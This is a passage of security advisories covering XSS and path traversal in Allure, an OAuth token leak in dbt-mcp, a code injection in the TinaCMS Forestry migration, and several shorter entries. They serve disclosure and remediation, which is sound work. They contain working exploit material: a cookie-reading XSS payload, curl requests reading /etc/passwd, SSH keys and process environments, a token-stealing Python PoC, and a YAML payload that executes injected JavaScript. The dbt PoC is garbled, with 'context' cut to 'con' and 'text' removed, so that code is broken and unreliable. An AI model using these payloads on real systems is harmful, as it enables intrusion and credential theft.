Controller logs are not a sufficient mitigation. Logs do not prevent exposure, may not page the service owner, and the first externally visible symptom can be unauthenticated access to the protected backend. ### Suggested remediation Fail closed on any `resolveBasicAuth` error. A minimal tested change is to mark the location as errored: ```diff if err != nil { logger.Error(). Err(err). Str("ingress", fmt.Sprintf("%s/%s rule-%d path-%d", ing.Namespace, ing.Name, ri, pi)). Msg("Cannot resolve auth secret, skipping auth middleware") + loc.Error = true } else { ``` This reuses the existing `loc.Error` / `unavailable-service` path. In my local validation, this change made the no-backend-without-auth regression pass while preserving the valid-secret positive control. </details> ---

CVE-2026-55847MEDIUM6.1

## Summary The `ansi.js` Handlebars helper in allure-generator passes user-controlled `statusMessage` and `statusTrace` values from test result files through the `ansi-to-html` library and wraps the output in Handlebars `SafeString` without HTML escaping. Since `ansi-to-html` does not escape HTML entities by default, an attacker who can influence test result content (e.g., via crafted JUnit XML failure messages) can inject arbitrary JavaScript that executes when anyone views the generated Allure report. ## Details The vulnerability is an incomplete fix — commit `4c64b19` (PR #3271) fixed XSS in `linky.js` and `text-with-links.js` by adding `escapeExpression()`, but the same pattern in `ansi.js` was not addressed. **Vulnerable sink** — `allure-generator/src/main/javascript/helpers/ansi.js:10-11`: ```javascript export default function (input) { return new SafeString(ansiConverter.toHtml(input)); }; ``` The `AnsiToHtml` constructor at line 4 does not set `escapeForHtml: true`: ```javascript const ansiConverter = new AnsiToHtml({ fg: "black", bg: "black", newline: true, }); ``` The `ansi-to-html` library (v0.7.2) defaults `escapeForHtml` to `false`, meaning HTML entities in the input pass through unchanged. Wrapping the result in `SafeString` tells Handlebars to skip its auto-escaping, so the raw HTML reaches the browser. **Template usage** — `allure-generator/src/main/javascript/blocks/status-details/status-details.hbs:7,10`: ```handlebars <pre class="status-details__message"><code>{{ansi statusMessage}}</code></pre> ... <pre class="{{b 'status-details' 'trace'}}"><code>{{ansi statusTrace}}</code></pre> ``` **Source** — `plugins/junit-xml-plugin/src/main/java/io/qameta/allure/junitxml/JunitXmlPlugin.java:307-308`: ```java result.setStatusMessage(element.getAttribute(MESSAGE_ATTRIBUTE_NAME)); result.setStatusTrace(element.getValue()); ``` These values are read directly from XML attributes with no sanitization. The same pattern exists in TRX, xUnit XML, xctest, and Allure1/2 plugins. **Contrast with the fixed helper** — `linky.js` (post-fix) correctly escapes before wrapping in `SafeString`: ```javascript const safeText = escapeExpression(text); return new SafeString(`<a href="${safeText}" ...>${safeText}</a>`); ``` ## PoC 1. Create a malicious JUnit XML test result file: ```xml <?xml version="1.0" encoding="UTF-8"?> <testsuite name="XSSTest" tests="1" failures="1"> <testcase name="xssPayload" classname="com.example.Test"> <failure message="&lt;img src=x onerror=alert(document.cookie)&gt;"> Stack trace: &lt;img src=x onerror=alert('statusTrace_XSS')&gt; </failure> </testcase> </testsuite> ``` 2. Generate an Allure report: ```bash allure generate /path/to/results-with-malicious-xml -o /tmp/allure-report ``` 3. Open the report and navigate to the failed test case: ```bash allure open /tmp/allure-report ``` 4. When viewing the test's status details, the `<img onerror>` payloads execute JavaScript in the viewer's browser. ## Impact - **Arbitrary JavaScript execution** in the browser of anyone viewing the generated Allure report - **Cookie theft, session hijacking** if the report is served from a domain with active sessions (e.g., CI dashboards) - **Data exfiltration** — the injected script can read the full report content and send it to an attacker-controlled server - **Attack vectors**: A malicious dependency that throws crafted exception messages, a CI pipeline processing test results from untrusted pull requests, or a contributor submitting test files containing XSS payloads - Allure reports are commonly hosted on CI/CD platforms (Jenkins, GitLab, GitHub Actions artifacts) where session cookies may be present ## Recommended Fix Configure `AnsiToHtml` with `escapeForHtml: true` to escape HTML entities while preserving ANSI-to-HTML conversion: ```javascript import AnsiToHtml from "ansi-to-html"; import {SafeString} from "handlebars/runtime"; const ansiConverter = new AnsiToHtml({ fg: "black", bg: "black", newline: true, escapeForHtml: true, // Escape HTML entities in non-ANSI input }); export default function (input) { return new SafeString(ansiConverter.toHtml(input)); }; ``` This is the correct approach because it preserves the ANSI escape sequence → HTML conversion (colored output) while ensuring that any non-ANSI HTML in the input is safely escaped. The alternative of using `escapeExpression()` on the input would destroy ANSI sequences before they could be converted.

CVE-2026-55846MEDIUM6.2

## Summary The built-in HTTP server started by `allure serve` and `allure open` is vulnerable to path traversal. The server resolves request URI paths directly against the report directory without normalizing or validating that the resolved path stays within the report directory. An attacker who can reach the server can read any file accessible to the Allure process by sending a request containing `../` sequences. ## Details When `allure serve` or `allure open` is executed, `Commands.setUpServer()` creates an HTTP server with a handler that serves files from the report directory: **`allure-commandline/src/main/java/io/qameta/allure/Commands.java:325-339`** ```java protected HttpServer setUpServer(final String host, final int port, final Path reportDirectory) throws IOException { final HttpServer server = HttpServer .create(new InetSocketAddress(Objects.isNull(host) ? "localhost" : host, port), 0); server.createContext("/", exchange -> { final Path resolve = reportDirectory.resolve("." + exchange.getRequestURI().getPath()); // line 330 if (Files.isDirectory(resolve)) { serveFile(exchange, resolve.resolve("index.html")); } else { serveFile(exchange, resolve); } }); return server; } ``` On line 330, the handler constructs a file path by concatenating `"."` with the raw request URI path and resolving it against `reportDirectory`. For a request to `/../../../etc/passwd`: 1. `exchange.getRequestURI().getPath()` returns `"/../../../etc/passwd"` 2. String concatenation produces `"./../../../etc/passwd"` 3. `reportDirectory.resolve("./../../../etc/passwd")` resolves to e.g. `/tmp/allure-report/./../../../etc/passwd` 4. The OS resolves this to `/etc/passwd` There is no call to `.normalize()` followed by a `.startsWith(reportDirectory)` containment check. The `serveFile()` method (line 341) reads and returns any regular file without further validation. Additionally, `URI.getPath()` returns the percent-decoded path, so `%2e%2e` is decoded to `..`, enabling traversal via `/%2e%2e/%2e%2e/etc/passwd` which bypasses clients that normalize `..` in raw form. The server defaults to binding on `localhost` (line 327), which limits remote exploitation. However, the `--host` option allows users to bind to any interface (e.g., `--host 0.0.0.0`), which is commonly used in CI/CD and containerized environments. Even when bound to localhost, the vulnerability is exploitable by: - Other local users on shared/multi-tenant systems - DNS rebinding attacks from malicious web pages visited by the user - Adjacent containers in CI/CD environments that share a network namespace ## PoC **Step 1:** Start the Allure server (simulating a typical CI/CD scenario with network binding): ```bash allure serve ./test-results --host 0.0.0.0 --port 9090 ``` **Step 2:** Read `/etc/passwd` via path traversal: ```bash curl --path-as-is 'http://localhost:9090/../../../etc/passwd' ``` **Step 3:** Alternative using percent-encoded traversal (works even with clients that normalize `..`): ```bash curl 'http://localhost:9090/%2e%2e/%2e%2e/%2e%2e/etc/passwd' ``` **Step 4:** Read sensitive application files (e.g., environment variables, SSH keys): ```bash curl --path-as-is 'http://localhost:9090/../../../home/user/.ssh/id_rsa' curl --path-as-is 'http://localhost:9090/../../../proc/self/environ' ``` Each command returns the full contents of the requested file if readable by the Allure process. ## Impact An attacker who can reach the Allure HTTP server can read any file on the system that the Allure process has permissions to access. This includes: - **System credentials:** `/etc/shadow` (if running as root), SSH private keys, cloud provider credentials - **Application secrets:** Environment variables via `/proc/self/environ`, configuration files, API keys - **Source code and data:** Any file on the filesystem accessible to the running user In CI/CD environments where Allure is commonly used, this could expose build secrets, deployment credentials, and other sensitive CI/CD artifacts. The lack of authentication means any client that can reach the server's port can exploit this vulnerability. ## Recommended Fix Normalize the resolved path and verify it remains within the report directory before serving: ```java server.createContext("/", exchange -> { final Path resolve = reportDirectory.resolve("." + exchange.getRequestURI().getPath()).normalize(); if (!resolve.startsWith(reportDirectory.normalize())) { exchange.sendResponseHeaders(403, 0); exchange.getResponseBody().close(); return; } if (Files.isDirectory(resolve)) { serveFile(exchange, resolve.resolve("index.html")); } else { serveFile(exchange, resolve); } }); ``` The `.normalize()` call collapses `..` sequences, and the `.startsWith()` check ensures the resolved path is still within the report directory. Requests attempting traversal receive a 403 Forbidden response.

CVE-2026-55837MEDIUM6.8

## Unauthenticated OAuth Context Endpoint Leaks dbt Platform Tokens ### Summary The local OAuth helper FastAPI server bundled with `dbt-mcp` exposes the `GET /dbt_platform_context` endpoint without any form of authentication or host-origin validation. After a user completes the OAuth login flow against dbt Cloud (cloud.getdbt.com), the endpoint returns the full `DbtPlatformContext` object — including the victim's `access_token` and `refresh_token` for the dbt Platform API — verbatim to any caller that can reach `127.0.0.1:6785`. An attacker who can direct the victim's browser to the helper origin via DNS rebinding, or who has co-located process access on the same host, can silently exfiltrate both tokens. The stolen bearer token grants full dbt Cloud API access as the victim; the refresh token enables persistent access beyond the original token's expiry. **CVSS Base Score: 8.0 (High).** ### Details During the OAuth login flow, `dbt-mcp` launches an embedded FastAPI server (the "OAuth helper") bound to `127.0.0.1` starting on port `6785` (configured at `src/dbt_mcp/config/credentials.py:34`, `OAUTH_REDIRECT_STARTING_PORT = 6785`). After the OAuth callback is handled, the helper persists the full token context to disk and continues serving requests. **Data flow from source to sink:** 1. **Source** — `src/dbt_mcp/oauth/fastapi_app.py:106`: The OAuth callback receives `token_response` from the dbt Platform authorization server. 2. `src/dbt_mcp/oauth/dbt_platform.py:60`: `AccessTokenResponse(**token_response)` stores `access_token` and `refresh_token` as plaintext fields. 3. `src/dbt_mcp/oauth/dbt_platform.py:64–69`: The `AccessTokenResponse` is embedded inside `DecodedAccessToken`, which is in turn embedded inside `DbtPlatformContext`. 4. `src/dbt_mcp/oauth/fastapi_app.py:114`: The fully token-bearing `DbtPlatformContext` object is passed to `context_manager` for persistence. 5. **Persistence sink** — `src/dbt_mcp/oauth/context_manager.py:63–64`: `yaml.dump(context.model_dump())` serializes the entire model — including tokens — to a YAML file on disk. 6. **HTTP sink** — `src/dbt_mcp/oauth/fastapi_app.py:162–165`: The `GET /dbt_platform_context` route reads the YAML file back and returns the raw `DbtPlatformContext` object with no redaction. ```python # src/dbt_mcp/oauth/fastapi_app.py:162-165 @app.get("/dbt_platform_context") def get_dbt_platform_context() -> DbtPlatformContext: logger.info("Selected project received") return dbt_platform_context_manager.read_context() or DbtPlatformContext() ``` ```python # src/dbt_mcp/oauth/dbt_platform.py:8-14 class AccessTokenResponse(BaseModel): access_token: str refresh_token: str ... class DbtPlatformContext(BaseModel): decoded_access_token: DecodedAccessToken | None = None ... ``` **Missing protections (confirmed by grep):** - No `TrustedHostMiddleware` — the server accepts requests with arbitrary `Host` headers, enabling DNS rebinding. - No `CORSMiddleware` — no cross-origin restrictions on which sites can read the response. - No CSRF protection, no session nonce, no `Origin` header validation. - The route has no FastAPI `Depends()` security dependency. A `grep -Rni "TrustedHostMiddleware\|CORSMiddleware\|csrf\|origin"` across the OAuth FastAPI application returns no results. **Recommended remediation:** ```diff --- a/src/dbt_mcp/oauth/fastapi_app.py +++ b/src/dbt_mcp/oauth/fastapi_app.py +from starlette.middleware.trustedhost import TrustedHostMiddleware + +def _redact_context(context: DbtPlatformContext | None) -> DbtPlatformContext: + if context is None: + return DbtPlatformContext() + return context.model_copy(update={"decoded_access_token": None}) app = FastAPI() + app.add_middleware( + TrustedHostMiddleware, + allowed_hosts=["localhost", "127.0.0.1"], + ) @app.get("/dbt_platform_context") def get_dbt_platform_context() -> DbtPlatformContext: logger.info("Selected project received") - return dbt_platform_context_manager.read_context() or DbtPlatformContext() + return _redact_context(dbt_platform_context_manager.read_context()) ``` ### PoC **Prerequisites:** - `dbt-mcp` v1.19.1 installed in a Python 3.12 environment. - The following runtime dependencies available: `authlib~=1.6.7`, `fastapi~=0.128.0`, `uvicorn~=0.38.0`, `pyyaml~=6.0.2`, `httpx~=0.28.1`, `starlette~=0.50.0`, `pydantic~=2.0`, `pydantic-settings~=2.10.1`. - No `DBT_TOKEN` set (OAuth flow mode active). **Step 1 — Build the Docker test environment:** ```bash docker build -t vuln001-dbt-mcp -f vuln-001/Dockerfile . ``` The `Dockerfile` installs only the OAuth helper's runtime dependencies and copies `src/` and `poc.py`: ```dockerfile FROM python:3.12-slim WORKDIR /app RUN pip install --no-cache-dir \ "authlib~=1.6.7" "fastapi~=0.128.0" "uvicorn~=0.38.0" \ "pyjwt~=2.12.0" "pyyaml~=6.0.2" "httpx~=0.28.1" \ "filelock~=3.20.3" "starlette~=0.50.0" "requests>=2.28" \ "pydantic~=2.0" "pydantic-settings~=2.10.1" COPY repo/src /app/src ENV PYTHONPATH=/app/src COPY vuln-001/poc.py /app/poc.py CMD ["python3", "/app/poc.py"] ``` **Step 2 — Run the PoC:** ```bash docker run --rm --network=host vuln001-dbt-mcp ``` The PoC script (`poc.py`) performs the following automatically: 1. Writes a realistic fake OAuth context YAML to `/tmp/dbt_poc_mcp.yml`, simulating a victim who has already completed the OAuth login flow. 2. Instantiates the **real** `create_app()` from `src/dbt_mcp/oauth/fastapi_app.py` using `DbtPlatformContextManager` backed by the pre-seeded file. 3. Starts the server on `127.0.0.1:16785` in a background thread. 4. Issues an unauthenticated `GET /dbt_platform_context` with no `Authorization` header. 5. Asserts that `access_token` and `refresh_token` are returned verbatim. **Equivalent manual curl (against the live OAuth helper during actual OAuth flow):** ```bash # While the victim is running the OAuth login flow: export DBT_HOST='cloud.getdbt.com' unset DBT_TOKEN dbt-mcp # OAuth helper starts on 127.0.0.1:6785 # From any co-located process (or a DNS-rebinding browser page): curl -s 'http://127.0.0.1:6785/dbt_platform_context' \ | jq '.decoded_access_token.access_token_response' ``` **Expected output (Phase 2 observed):** ``` [*] HTTP Status: 200 [*] Full response JSON: { "decoded_access_token": { "access_token_response": { "access_token": "eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER", "refresh_token": "dbt-platform-offline-refresh-SUPERSECRET-abc123", "expires_in": 3600, "scope": "user_access offline_access", "token_type": "Bearer", "expires_at": 9999999999 }, ... }, ... } [!] LEAKED access_token : eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER [!] LEAKED refresh_token : dbt-platform-offline-refresh-SUPERSECRET-abc123 [+] VULNERABILITY CONFIRMED: Tokens returned from /dbt_platform_context WITHOUT authentication! ``` **DNS rebinding variant:** A malicious website can resolve `attacker.example` to `127.0.0.1` after the browser's DNS TTL expires ("DNS rebinding"). Because the helper accepts any `Host` header, the browser treats `http://attacker.example:6785` as same-origin and fetches `/dbt_platform_context` via JavaScript `fetch()`, obtaining the full token JSON across the network without any local access. ### Impact Any local process running as any user on the same host, or a remote attacker who exploits DNS rebinding against a victim's browser during or after the OAuth login session, can retrieve the victim's full dbt Cloud OAuth tokens with a single unauthenticated HTTP GET request. The `access_token` grants immediate bearer-token access to the dbt Cloud REST and GraphQL APIs on behalf of the victim. The `refresh_token` (with `offline_access` scope) allows the attacker to obtain new access tokens after the original expires, providing persistent unauthorized access until the victim manually revokes the OAuth grant. An attacker with these tokens can read or modify dbt projects, run jobs, access environment secrets, and exfiltrate data lineage and warehouse credentials stored in dbt Cloud. This vulnerability is a **Missing Authentication for Critical Function** (CWE-306). Any developer machine running `dbt-mcp` with OAuth-mode authentication is affected for the duration of the OAuth helper process lifetime. Because `dbt-mcp` is a developer tool, the primary victims are individual developers and their associated dbt Cloud organization accounts. ### Reproduction artifacts #### `Dockerfile` ```dockerfile FROM python:3.12-slim WORKDIR /app # Install minimal runtime dependencies (no heavy dbt-protos/dbt-sl-sdk needed # because fastapi_app.py's import chain doesn't touch them) RUN pip install --no-cache-dir \ "authlib~=1.6.7" \ "fastapi~=0.128.0" \ "uvicorn~=0.38.0" \ "pyjwt~=2.12.0" \ "pyyaml~=6.0.2" \ "httpx~=0.28.1" \ "filelock~=3.20.3" \ "starlette~=0.50.0" \ "requests>=2.28" \ "pydantic~=2.0" \ "pydantic-settings~=2.10.1" # Copy only the source tree needed for the OAuth server COPY repo/src /app/src ENV PYTHONPATH=/app/src COPY vuln-001/poc.py /app/poc.py CMD ["python3", "/app/poc.py"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-001: Unauthenticated OAuth Con Endpoint Leaks dbt Platform Tokens Attack scenario: - dbt-mcp runs a local FastAPI OAuth helper on 127.0.0.1:6785 during login. - After the OAuth flow completes, tokens are persisted to ~/.dbt/mcp.yml. - GET /dbt_platform_con is accessible with NO authentication at all. - Any process on the same host (or a DNS-rebinding browser page) can call it and receive the full access_token + refresh_token. This PoC: 1. Pre-seeds a con file with fake-but-realistic OAuth tokens (simulating a victim who has already completed the OAuth flow). 2. Starts the real vulnerable FastAPI app from src/dbt_mcp/oauth/fastapi_app.py. 3. Issues an unauthenticated HTTP GET /dbt_platform_con (no auth header). 4. Confirms the tokens are returned verbatim. """ import asyncio import json import os import sys import tempfile import threading import time from pathlib import Path import httpx import uvicorn import yaml # Fake tokens that simulate a victim's completed OAuth session. FAKE_ACCESS_TOKEN = "eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER" FAKE_REFRESH_TOKEN = "dbt-platform-offline-refresh-SUPERSECRET-abc123" FAKE_CONTEXT = { "decoded_access_token": { "access_token_response": { "access_token": FAKE_ACCESS_TOKEN, "refresh_token": FAKE_REFRESH_TOKEN, "expires_in": 3600, "scope": "user_access offline_access", "token_type": "Bearer", "expires_at": 9999999999, }, "decoded_claims": { "sub": "99999", "iat": 1700000000, "exp": 9999999999, }, }, "host_prefix": "victimco", "dbt_host": "cloud.getdbt.com", "account_id": 42, "selected_project_ids": None, "dev_environment": None, "prod_environment": None, } PORT = 16785 def start_server(context_file: Path, static_dir: str) -> None: """Run the actual vulnerable FastAPI app in a background thread.""" from authlib.integrations.requests_client import OAuth2Session from dbt_mcp.oauth.context_manager import DbtPlatformContextManager from dbt_mcp.oauth.fastapi_app import create_app context_manager = DbtPlatformContextManager(context_file) # A dummy OAuth client — only used by the /oauth-callback route, # which this PoC never triggers. fake_oauth_client = OAuth2Session(client_id="poc-dummy-client") app = create_app( oauth_client=fake_oauth_client, state_to_verifier={}, dbt_platform_url="https://cloud.getdbt.com", static_dir=static_dir, dbt_platform_context_manager=context_manager, ) loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) config = uvicorn.Config( app=app, host="127.0.0.1", port=PORT, log_level="error", loop="asyncio" ) server = uvicorn.Server(config) loop.run_until_complete(server.serve()) def wait_for_server(port: int, timeout: float = 15.0) -> bool: import socket deadline = time.time() + timeout while time.time() < deadline: try: with socket.create_connection(("127.0.0.1", port), timeout=1): return True except OSError: time.sleep(0.2) return False def main() -> int: print("[*] VULN-001 PoC — Unauthenticated /dbt_platform_con token leak") print("=" * 70) # 1. Pre-seed con file (victim has completed OAuth; tokens are on disk) context_file = Path("/tmp/dbt_poc_mcp.yml") context_file.write_( yaml.dump(FAKE_CONTEXT, default_flow_style=False), encoding="utf-8" ) print(f"[*] Con file written: {context_file}") print(f" access_token : {FAKE_ACCESS_TOKEN}") print(f" refresh_token : {FAKE_REFRESH_TOKEN}") # 2. Minimal static dir so NoCacheStaticFiles mount doesn't error on startup static_dir = tempfile.mkdtemp(prefix="dbt_poc_static_") (Path(static_dir) / "index.html").write_("<html>dbt OAuth</html>") # 3. Start the real vulnerable FastAPI server in a background thread t = threading.Thread( target=start_server, args=(context_file, static_dir), daemon=True ) t.start() print(f"\n[*] Waiting for FastAPI server to start on 127.0.0.1:{PORT} ...") if not wait_for_server(PORT): print("[-] FAIL: Server did not start within timeout.") return 2 print("[*] Server is up.") # 4. Send unauthenticated GET /dbt_platform_con (no Authorization header) url = f"http://127.0.0.1:{PORT}/dbt_platform_con" print(f"\n[*] Sending unauthenticated GET {url}") try: resp = httpx.get(url, timeout=10) except Exception as exc: print(f"[-] HTTP request failed: {exc}") return 2 print(f"[*] HTTP Status: {resp.status_code}") if resp.status_code != 200: print(f"[-] FAIL: Expected 200, got {resp.status_code}") print(f" Body: {resp.[:500]}") return 1 try: data = resp.json() except Exception as exc: print(f"[-] FAIL: Response is not JSON: {exc}\n Body: {resp.[:500]}") return 1 print(f"\n[*] Full response JSON:\n{json.dumps(data, indent=2)}") # 5. Verify that the tokens are in the response (no redaction, no auth required) try: leaked_access = ( data["decoded_access_token"]["access_token_response"]["access_token"] ) leaked_refresh = ( data["decoded_access_token"]["access_token_response"]["refresh_token"] ) except (KeyError, TypeError) as exc: print(f"\n[-] FAIL: Token fields missing from response: {exc}") return 1 print(f"\n[!] LEAKED access_token : {leaked_access}") print(f"[!] LEAKED refresh_token : {leaked_refresh}") if leaked_access == FAKE_ACCESS_TOKEN and leaked_refresh == FAKE_REFRESH_TOKEN: print( "\n[+] VULNERABILITY CONFIRMED:" " Tokens returned from /dbt_platform_con WITHOUT authentication!" ) return 0 else: print("\n[-] FAIL: Returned tokens do not match expected values.") print(f" Expected access_token : {FAKE_ACCESS_TOKEN}") print(f" Got access_token : {leaked_access}") return 1 if __name__ == "__main__": sys.exit(main()) ```

CVE-2026-55828NONE

### Impact The go.qbee.io/transport library is affected by a symlink-chain path traversal vulnerability in its extractTar routine. The library's path validation is strictly lexical and fails to account for on-disk symlinks created earlier in the extraction process. Consequently, a crafted tar archive can be used to write or overwrite files one directory level above the intended extraction path. In the case of qbee-agent, which runs with root privileges, this vulnerability permits a root-privileged file write outside the intended destination. ### Patches The issue has been addressed in version v1.26.25

CVE-2026-55660NONE

TinaCMS registers window message listeners — the useTina overlay handler, the OAuth authentication popup handler, and the admin↔preview iframe GraphQL reducer — that act on event.data without verifying event.origin or event.source, and post messages using non-specific target origins. A page the victim visits (or a window in an opener/iframe relationship with a Tina admin) can forge messages to drive the editor, inject preview content, or observe/forge the OAuth popup channel to take over an authenticated editing session. Fixed in [#7056](https://github.com/tinacms/tinacms/pull/7056) by allow-listing trusted origins and verifying event.source (isFromAdmin, isFromTrustedPreviewOrigin), and by posting only to explicit target origins (never "*"). Note: the rich-text URL-sanitization issue previously bundled here has been split into its own advisory (GHSA-2vcc-5v34-9jc8) so each vulnerability can receive a distinct CVE.

CVE-2026-55795NONE

### Summary The CartController defines a RateLimiter behavior that is only activated when the 'number' POST/GET parameter is explicitly provided. ### Details When an attacker submits coupon codes against the session-based cart (without passing a 'number' parameter), no rate limiting is applied. This allows unlimited attempts to guess coupon codes. **Vulnerable Code** <img width="864" height="90" alt="resim" src="https://github.com/user-attachments/assets/a5197f10-f1fd-4331-93f9-9479d0ceebba" /> <img width="881" height="272" alt="resim" src="https://github.com/user-attachments/assets/d9db963f-5d1f-4b00-a4b4-5f2dfe2b71dd" /> <img width="861" height="271" alt="resim" src="https://github.com/user-attachments/assets/f7842493-3bc0-4e99-956c-7266bab15703" /> ### PoC Complete instructions, including specific configuration details, to reproduce the vulnerability. <img width="909" height="171" alt="resim" src="https://github.com/user-attachments/assets/cfc8c994-5e0c-48de-b728-464029beba0e" /> ### Impact An attacker can enumerate all coupon codes through automated requests. **Remediation** Apply rate limiting unconditionally on actionUpdateCart regardless of whether 'number' is present.

CVE-2026-55791NONE

**1. Overview** Craft CMS is vulnerable to Server-Side Request Forgery (SSRF) and Arbitrary JavaScript Injection through the `/actions/app/resource-js` endpoint. By exploiting the default permissive `trustedHosts` configuration, an attacker can poison the `Host` or `X-Forwarded-Host` header to manipulate the application’s `$baseUrl`. This bypasses the endpoint’s internal URL validation, forcing the backend Guzzle client to fetch a malicious payload from an attacker-controlled server and reflect it to the client with a `Content-Type: application/javascript` header. **2. Vulnerability Mechanism (Root Cause)** The vulnerability manifests when `assetManager.cacheSourcePaths` is set to `false`. The attack chain relies on three structural flaws and insecure defaults: - **A. Default Proxy Trust (`trustedHosts`):** Craft’s default `GeneralConfig::$trustedHosts` is set to `['any']`. This allows an attacker to bypass front-end web server (Nginx/Apache) strict `Host` header validations by simply injecting an `X-Forwarded-Host` header. Yii2 will parse this and globally set `$baseUrl` to the attacker's domain. - **B. Insecure HTTP Client (`actionResourceJs`):** In `AppController::actionResourceJs()`, the `str_starts_with($url, $baseUrl)` validation is bypassed because `$baseUrl` is already poisoned by the attacker. The core then uses `Craft::createGuzzleClient()->get($url)`. Unlike the GraphQL Asset fetcher, this Guzzle instance defaults to `ALLOW_REDIRECTS => true`. - **C. Forced JS Content-Type:** The response fetched from the attacker's server is blindly returned to the user via `$this->asRaw()` with the header `Content-Type: application/javascript`. **3. Attack Scenario & Impact (Proof of Exploitability)** This endpoint acts as a proxy, taking remote, unverified content and serving it as valid JavaScript. While the direct SSRF allows for internal network probing, the most devastating impact occurs when caching layers are involved. If the Craft CMS instance is behind a caching layer, this vulnerability leads directly to **Web Cache Poisoning**: 1. An unauthenticated attacker sends the poisoned request. 2. The caching layer caches the malicious JavaScript response for the legitimate `/actions/app/resource-js` URI. 3. When an authenticated Administrator logs into the Control Panel, their browser loads the poisoned cached JavaScript (**Stored XSS**). 4. The malicious script extracts `window.Craft.csrfTokenValue` and silently sends a POST request to `/admin/actions/plugins/install-plugin`, achieving **1-Click Remote Code Execution (RCE)** via Session Riding.

CVE-2026-54074HIGH7.8

## Description ### Summary `@tinacms/cli` contains a Remote Code Execution vulnerability in its Forestry-to-Tina migration command. The internal helper `addVariablesToCode` unquotes any value matching the marker `"__TINA_INTERNAL__:::(.*?):::"` inside the stringified collection JSON. User-supplied `label` and `name` fields from `.forestry/**/*.yml` are placed into that JSON without any sanitisation. An attacker who controls a Forestry-style project can therefore inject arbitrary JavaScript into the generated `tina/templates.{ts,js}` file. The injected code is written at module top level, so it executes **the moment the developer runs `tinacms dev` or `tinacms build`**, with the developer's privileges. ### Details **Vulnerable code path:** 1. `packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts` — `transformForestryFieldsToTinaFields()` writes `forestryField.label` (and `.name`) straight into TinaField objects (no sanitisation). 2. `packages/@tinacms/cli/src/cmds/forestry-migrate/util/codeTransformer.ts`, lines 16-22 — the regex-based unquoter: ```ts export const addVariablesToCode = (codeWithTinaPrefix: string) => { const code = codeWithTinaPrefix.replace( /"__TINA_INTERNAL__:::(.*?):::"/g, '$1' ); return { code }; }; ``` 3. `codeTransformer.ts` lines 80-88 — the field array is `JSON.stringify`-ed and then handed to `addVariablesToCode`. Because `JSON.stringify` does **not** escape single quotes or backticks, an attacker who avoids `"` in the payload survives the JSON pass intact. 4. `packages/@tinacms/cli/src/cmds/init/apply.ts` lines 110-116 — the resulting string is written to `tina/templates.{ts,js}` and imported by the generated `tina/config.{ts,js}`, which `tinacms dev` evaluates. **Why it executes immediately:** the regex unquoting allows the attacker's payload to *close the surrounding object/array and the enclosing `xxxFields()` function*, drop a top-level IIFE, and then start a dummy function that swallows the trailing JSON. The IIFE is at module scope, so it runs the instant `tina/config.ts` imports `./templates`. ### PoC End-to-end verified against `tinacms` and `@tinacms/cli@2.3.1`, built from commit `ae1ab5d0f` of `tinacms/tinacms` on Windows 11 + Node.js v24 (behaviour is identical on Node 22). **Step 1 — attacker prepares a malicious Forestry project** `.forestry/settings.yml` ```yaml --- new_page_extension: md auto_deploy: false admin_path: '' webhook_url: '' sections: - type: directory path: content/posts label: Posts create: all match: "**/*.md" templates: - rce ``` `.forestry/front_matter/templates/rce.yml` ```yaml --- label: rce_template fields: - name: title type: text label: "__TINA_INTERNAL__:::1}] }; (function(){ const fs=require('fs'); const os=require('os'); fs.writeFileSync(require('path').join(os.tmpdir(),'PWNED_PROOF.txt'), 'RCE triggered on ' + os.hostname() + ' at ' + new Date().toISOString()); console.log('=== RCE SUCCESSFUL ==='); })(); function _ignore_(){ return [{x:1:::" ``` > **Note on payload encoding.** The original disclosure draft used double > quotes inside the payload (`console.log("RCE")`). `JSON.stringify` escapes > those to `\"`, which makes the generated TypeScript syntactically invalid > and is rejected by Prettier before the file is written. Using single > quotes or backticks for the inner string literals is required for the > exploit to succeed. **Step 2 — victim runs the standard onboarding flow** ```bash git clone <attacker repo> cd <attacker repo> npx tinacms init # accepts the "migrate Forestry templates?" prompt npx tinacms dev # OR: npx tinacms build ``` **Step 3 — generated `tina/templates.ts` (verbatim, from a clean run)** ```ts import type { TinaField } from "tinacms"; export function rce_templateFields() { return [{ type: "string", name: "title", label: 1 }]; } (function () { // <-- TOP-LEVEL IIFE const fs = require("fs"); const os = require("os"); fs.writeFileSync( require("path").join(os.tmpdir(), "PWNED_PROOF.txt"), "RCE triggered on " + os.hostname() + " at " + new Date().toISOString() ); console.log("=== RCE SUCCESSFUL ==="); })(); function _ignore_() { return [{ x: 1 }] as TinaField[]; } ``` **Step 4 — observed result** ``` $ npx tinacms dev --noTelemetry --no-server 🦙 TinaCMS Dev Server is initializing... === RCE SUCCESSFUL === Cannot read properties of undefined (reading 'publicFolder') $ cat "$TEMP/PWNED_PROOF.txt" RCE triggered on <hostname> at 2026-05-23T06:57:29.800Z ``` The `=== RCE SUCCESSFUL ===` line is printed **before** the dev server fails on the (intentionally minimal) config, proving the malicious code executed during config evaluation. ### Impact * **Class:** Remote Code Execution (code injection into a generated source file that is automatically executed by the dev server/build). * **Attack vector:** Any developer who runs `tinacms init` on a Forestry project they did not author (e.g. a starter template, a community fork, a "convert my site to Tina" service, an evaluation of a third-party CMS migration) and then runs `tinacms dev` or `tinacms build`. * **Privileges obtained:** Full execution under the developer's user account. Practical consequences include: * Exfiltration of environment variables, `.env` files, SSH keys, `~/.aws/credentials`, `~/.npmrc` tokens, `~/.config/gh/hosts.yml`. * Source-code modification (planting backdoors before the developer's next commit / publish). * Supply-chain abuse via the developer's `npm publish` and `git push` credentials. * Persistence via shell rc files or scheduled tasks. * **Authentication:** None required from the attacker. * **User interaction:** Required — victim must run the migration and then the dev/build command. The migration prompt defaults to "yes". ## Suggested Remediation Either fix is sufficient; **Option B is preferred** because it is structurally impossible to bypass and does not silently drop user content. ### Option A — sanitise user-controlled strings (the disclosure draft's proposal) ```ts // packages/@tinacms/cli/src/cmds/forestry-migrate/util/index.ts const sanitizeString = (str: unknown): unknown => typeof str === 'string' ? str.replace(/__TINA_INTERNAL__:::/g, '') : str; ``` Apply to **every** user-controlled string that flows into a TinaField object — at minimum `forestryField.label`, `forestryField.name`, `forestryField.template`, `forestryField.config.options[*]`, `forestryField.config.source.section`, and the equivalents 